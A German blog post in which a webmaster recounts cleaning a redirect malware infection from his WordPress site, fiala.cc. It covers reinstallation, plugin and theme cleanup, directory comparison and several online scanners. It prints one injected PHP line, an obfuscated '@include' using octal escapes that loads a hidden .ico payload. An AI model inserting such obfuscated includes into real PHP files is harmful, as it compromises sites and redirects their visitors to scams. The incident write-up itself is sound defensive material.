Neulich bekam ich einen Anruf eines Besuchers meiner Webseite fiala.cc. Er machte mich darauf aufmerksam, dass man beim Besuch der Seite auf andere Seiten weitergeleitet wird. Mir war das nicht aufgefallen, weil ich ständig als Administrator eingeloggt war und in dieser Betriebsart findet die Umlenkung nicht statt. Der Text in einem InPrivate-/Incognito-Fenster zeigte aber den ganzen Umfang des Schadens. Öffnete man die Seite fiala.cc, erhielt man statt des eigentlichen Inhalts verschiedene andere Seiten zu sehen, zum Beispiel diese:

Mit dem Text „www.microsoft.com“ kann man den Eindruck bekommen, dass man von Microsoft gewarnt wird, doch beim genaueren Hinsehen erkennt man, dass danach noch „-maintain-pc.live“ folgt und die Seite keineswegs eine Microsoft-Seite ist.

Wie geht man vor?

Dazu muss ich anmerken, dass meine Aufmerksamkeit zuerst dem Entfernen der Schadsoftware gegolten hat und ich verschiedene Löschvorgänge nicht gleich dokumentiert habe. Die folgenden Zeilen sind eine Art Erlebnisbericht im Nachhinein. Die Symptome können natürlich bei anderen „Erkrankungen“ auch anders sein.

Was passiert eigentlich?

Malware verändert Dateien gegenüber ihrer Originalversion. Meist sind es nur kurze Codestücke, die am Anfang der php-Dokumente eingebaut worden sind. Wenn zum Beispiel eine JavaScript-Datei in einem Thema Schadsoftware enthält, dann tritt diese Software praktisch bei jedem Seitenaufruf in Erscheinung, weil diese Codes in Form von Includes  auf jeder Seite zum Browser gesendet werden.

Es gibt zusätzliche Dateien. Das können einerseits php-Dateien sein, die aufgerufen werden, um unerwünschte Aktionen auszuführen. Es kann sich aber auch um Downloadmaterial handeln, und die eigene Webseite wird als Fileserver missbraucht.

Die Frage ist, wie diese Dateien auf den Server kommen konnten?

Bei dem Entdecken von Schwachstellen und dem Beseitigen eben dieser Schwachstellen sind die Hacker dem Softwareerzeuger immer einen Schritt voraus. So wirklich sicher ist man als Webmaster also nie. Wenn die Hacker eine Schwachstelle entdecken, versuchen sie, möglichst viele gleichartige Installationen zu finden und anzugreifen. Daher ist es wichtig, angebotene Updates so rasch wie möglich anzuwenden. Dennoch kann bei aller Umsicht über einfache (meist kostenlose) Themen oder ungewartete Plugins Schadsoftware ins System geschleust werden.

Welche Dateien sind betroffen und wie schaut so ein Befall aus?

Wichtige Dateien enthalten einen unerwünschten Code. Beispiel:

<?php
/*45fd5*/
@include "\104:/Ho\163ting\123pace\163/ffi\141lame\155ber/\146iala\056cc/w\167wroo\164/wp-\143onte\156t/up\144raft\057.dc3\0663ac9\056ico";
/*45fd5*/

Nach diesem verdächtigen Kode geht es ganz normal weiter. Wenn man sich diese Zeile genauer anschaut, stellt man fest, dass es sich um eine Pfadangabe handelt, aber dabei manche Buchstaben durch ein nummerisches Äquivalent ersetzt worden sind und daher auf den ersten Blick nicht erkennbar ist, wie diese inkludierte Datei heißt. Die Zeile soll lauten

D:\HostingSpaces\ffialamember\fiala.cc\wwwroot\wp-content\updraft.dc3.3ac.ico

Die in dem Include angegebene Datei habe ich natürlich sofort entfernt. Welche Dateien betroffen sind, kann das Plugin WordFence gut erkennen.

Neuinstallation von WordPress

Da man nicht alle Orte der Schadsoftware kennt, ist es am besten WordPress ganz neu zu installieren:

  • Aktuelle Version von WordPress downloaden
  • Mit dem WebsitePanel auf den Server uploaden
  • diese Datei entpacken. Es entsteht ein Verzeichnis wordpress
  • Alle Dateien in diesem Verzeichnis markieren und in das Verzeichnis wwwroot kopieren.

Das überschreibt alle Systemdateien mit fehlerfreien Versionen.

Achtung: eine Datei wurde bei diesem Vorgang nicht korrigiert. Es handelt sich um die Datei wp-config.php und zwar, weil diese Datei bei der Installation händisch angelegt wird und tatsächlich enthielt auch diese Datei noch den beschriebenen Schadcode, und den musste ich manuell löschen.

Ist jetzt alles beseitigt?

Wahrscheinlich nicht, denn es gibt noch den Ordner wp-content, der über die Basis.Installation hinaus gehende Dateien enthält

  • Themen
  • PlugIns
  • Uploads

Löschen nicht benötigter Themen und PlugIns

Egal, ob sie nun befallen sind oder nicht, nicht benutzte Themen und PlugIns haben ohnehin nichts am Server verloren.

Nach meinen bisherigen Beobachtungen sind PlugIns und Themen ein häufiges Einfallstor für Schadsoftware. Verdächtig sind PlugIns oder Themen, die keiner regelmäßigen Aktualisierung unterliegen.

Ist jetzt alles beseitigt?

Allein, dass sich die Seite jetzt fehlerfrei meldet, ist noch keine Garantie, dass alle Problem beseitigt worden sind. Also lassen wir uns beraten! Es gibt zahlreiche Online-Scanner und PlugIns, die sich alle um den „Gesundheitszustand“ von WordPress-Seiten bemühen. Ich habe sehr viele dieser Programme ausprobiert und meine Verwunderung war groß, dass es Scanner gibt, die eine Seite als völlig fehlerfrei einstufen, andere Scanner aber sehr viele Mängel melden, noch dazu finden sie, dass die Seite auf einer Blackliste steht.

Systematische Suche

Nach dieser Basis-Reparatur habe ich mir die gesamte Website mit Ftp auf den lokalen PC kopiert.

Test 1: Suche nach Fremddateien mit Total Commander

Das Verzeichnis wwwroot wurde (mit Ausnahme des Verzeichnisses wp-content) mit einem Original verglichen. Dieser Vergleich sollte zeigen, ob sich im Verzeichnis wwwroot (und darunter) eventuell Dateien befinden, die dort nicht hingehören. Das Ergebnis war negativ, solche Fehler hätte das PlugIn WordFence erkannt (siehe weiter hinten).

Test 2: Suche nach verdächtigen Inhaltsdateien mit WinDirStat

Mit dem praktischen Programm WinDirStat werden die Größenverhältnisse in der Ordnerstruktur des Verzeichnisses wp-content sichtbar gemacht. Wenn es Dateien mit auffälliger Größe gibt, kann man die mit WinDirStat leicht erkennen.

Eine sehr schnelle Methode, die größten Dateien in einem Verzeichnisbaum herauszufinden, ist folgendes PowerShell-Kommando:

Get-ChildItem -File -Path . -Recurse | Sort-Object -Property Length | Select-Object -Property Length, Name | Format-Table -AutoSize

Damit kann man herausfinden, ob sich Download-Material im WordPress-Verzeichnis befindet.

Online-Testprogramme

Praktisch alle diese Programme haben einen kostenlosen Modus. Sie verweisen aber gleichzeitig auf die Möglichkeit eines kostenpflichtigen Abos oder einer Premium-Version. Diese Programme wurden bei der bereits reparierten Website angewendet. Befriedigend ist keines der Programme.

WPScans

https://wpscans.com/

Es ist zwar erfreulich, dass man das Gefühl vermittelt bekommt, es sei alles in Ordnung, aber es gibt Testprogramme, die bei denselben Seiten durchaus etwas zu bemängeln haben. Zum Beispiel eine zu alte Version von PHP oder den Umstand, dass die Seite nicht mit dem https-Protokoll betrieben wird.

HackerTarget

https://hackertarget.com/wordpress-security-scan/

Diese Seite liefert die Aussage „Server Error 500“. Aber das ist nicht weiter hilfreich. Es kann sein, dass irgendeiner der Links auf ein Server-Error hervorruft aber grundsätzlich funktioniert ja die Seite.

Wenn man die Klubseite clubcomputer.at zum Testen einträgt, bekommt man eine grobe Analyse.

Google Transparency Report

https://transparencyreport.google.com/safe-browsing/search?url=fiala.cc

Die Google-Seite erkennt keine Malware, allerdings liegt der letzte Prüfzeitpunkt schon zwei Jahre zurück. Vielleicht wäre das auch ein Dienst, den Google abschalten sollte.

Sucuri

https://sitecheck.sucuri.net/

Das Programm Sucuri meldet einige gleichartige Fehler, die man sich auch im Detail anschauen kann. Im Bild wird der Code über den Link „More Details“ dargestellt. Am Ende der Liste findet man noch den Hinweis, dass die aktuell eingesetzte Version von PHP veraltet ist.

Weiters sieht man im Kopf des Fehlerberichts, dass die Seite von Norton Safe Web in einer Blacklist geführt wird.

Die Fehlermeldung sagt aber nicht, in welcher konkreten Datei sich dieser Code versteckt. Wie kann man nun herausfinden, ob und in welchen Dateien dieser Kode versteckt ist? Im Quellcode einer Seite findet man diesen Code jedenfalls nicht. Also muss er sich in einer inkludierten JavaScript-Datei befinden. Ich habe dazu ein PowerShell-Skript verwendet, das die gesamte Website nach dem Text window.popuplink_cfg_field durchsucht.

Get-ChildItem -recurse | Select-String -pattern "window.popuplink_cfg_field"| group path | select name

Das Ergebnis war, dass der beanstandete Code in keiner einzigen Datei gefunden wurde. Darüber hinaus enthält der beanstandete Code einen Link http://tiny.cc/6zbfvy, der aber auf das Ziel https://example.com führt, also nur zur Demonstration dient und daher ungefährlich ist. Man hat den Eindruck, als wäre diese sehr konkret ausschauende Zeile nur eine künstliche Warnung, weil sie auf die Seite keinen Bezug nimmt.

Außerdem beziehen sich die Aufrufe dieser Webseite nicht auf den aktuellen Zustand der Webseite. Sucuri dürfte irgendwann ermittelte Fehler speichern, und wenn man die Prüfung noch einmal aufruft, wird die Seite nicht noch einmal gescannt, sondern das Ergebnis aus der Datenbank geholt, auch wenn die Situation schon eine andere ist.

WordFence (Plugin)

Es gibt zahlreiche PlugIns, die alle versprechen, Malware zu erkennen und zu entfernen. Ich habe den Platzhirsch in der kostenfreien Variante mit über 3 Millionen Installationen angewendet.

Was das Programm gut kann: es stellt alle Dateien fest, die im Dateisystem ein Fremdkörper sind, also dort nicht hingehören, wo sie sind. Ebenso findet das Programm alle Einbettungen von unerwünschten Kode in den WordPress-Dateien. Ich konnte dadurch alle schadhaften Dateien reparieren.

Bei der Entfernung von suspekten Dateien muss man aber vorsichtig sein, wie der obige Screenshot zeigt. Das Bild zeigt den allerletzten Prüflauf, der immer noch eine befallene Datei angibt. Wenn man die Datei aber im Dateiexplorer des WebSitePanel analysiert, kann man sich der Meinung des Scanners nicht anschließen. Dem Scanner gefällt etwas am Kode nicht, aber es ist unklar, was das sein könnte. Bitte weiter hinten weiterlesen „Leider nein“.

Weiters gibt es eine Fehlermeldung, die darauf hinweise, dass ein offenbar verwaistes PlugIn verwendet wird. Das sind solche PlugIns, für die schon lange kein Update erfolgt ist. Auch die kann man nicht einfach löschen, wenn das PlugIn in Verwendung ist.

Der Nachteil der kostenlosen Version ist, dass es keine kontinuierliche Beobachtung gibt, man muss eben den Testlauf starten, wenn man einen Verdacht hat. Ebenso könnte das kostenpflichtige Programm überprüfen, ob die Webseite auf einer Blacklist eingetragen ist, aber das hat uns schon der Scanner Sucuri mitgeteilt.

Nach allen diesen Testläufen, wird – außer vom Scanner Sucuri – nichts mehr gefunden. Alle befallenen Dateien wurden „geheilt“, alles schaut gut aus.

Leider nein

Die Seite präsentiert sich um 8:00 früh fehlerfrei, doch nach unserem Tagesausflug an die Donau nach Hainburg war der Spuk mit den Umlenkungen wieder da. Daher habe ich bisher nur Symptome beseitigt, nicht aber die Ursache.

Also geht man wieder alles durch, ob man nicht etwas übersehen hat und tatsächlich wurde etwas übersehen: Zwar wurde WordPress neu installiert und damit alle Dateien in den Originalzustand versetzt, aber nicht das Thema und genau auf das Thema verweist ein Treffer von WordFence, den ich anfangs als unverdächtig übergangen habe.

Ein hervorragendes Programm zum Vergleich von Verzeichnissen ist der Total Commander und der Befehl Commands -> Synchronize Dirs… Also verglich ich alle Dateien des Themas im Web und der Dateien in der Originalversion des Themas, etwas, das der Virenscanner nicht tun kann, wenn er die Originaldateien des Themas nicht in seiner Datenbank hat. Und siehe da, ich wurde fündig:

Verglichen wurden die Dateien des downgeloadeten Themas (links)  mit einer Originalversion am Desktop (rechts). Angezeigt wurden alle Dateien, die entweder links oder rechts fehlen und alle unterschiedlichen Dateien („ignore date“ und „by content“). Und dabei zeigen sich die Übeltäter als deutlich verlängerte Dateien index.php und config.php.

Das Thema wurde gelöscht und neu installiert. Jetzt läuft wieder alles!

Wenn es wieder passieren sollte…

  • PlugIn WordFence einen Scanlauf ausführen lassen. WordFence erkennt alle Veränderungen an WordPress-Dateien und findet Dateien, die nicht zum System gehören.
  • Bevor man eine befallene Datei löscht, sollte man schauen, ob ein Include vorliegt, das auf eine Datei verweist, die ebenfalls gelöscht werden sollte.
  • Die Datei wp-config.php händisch bereinigen.
  • Das Thema neu installieren.
  • Die Online-Scanner kann man anwenden aber sie sind insgesamt wenig hilfreich: kaufen würde ich sie nicht.

Das etwa waren die Reparaturschritte – nach diesem Angriff.

Zur Werkzeugleiste springen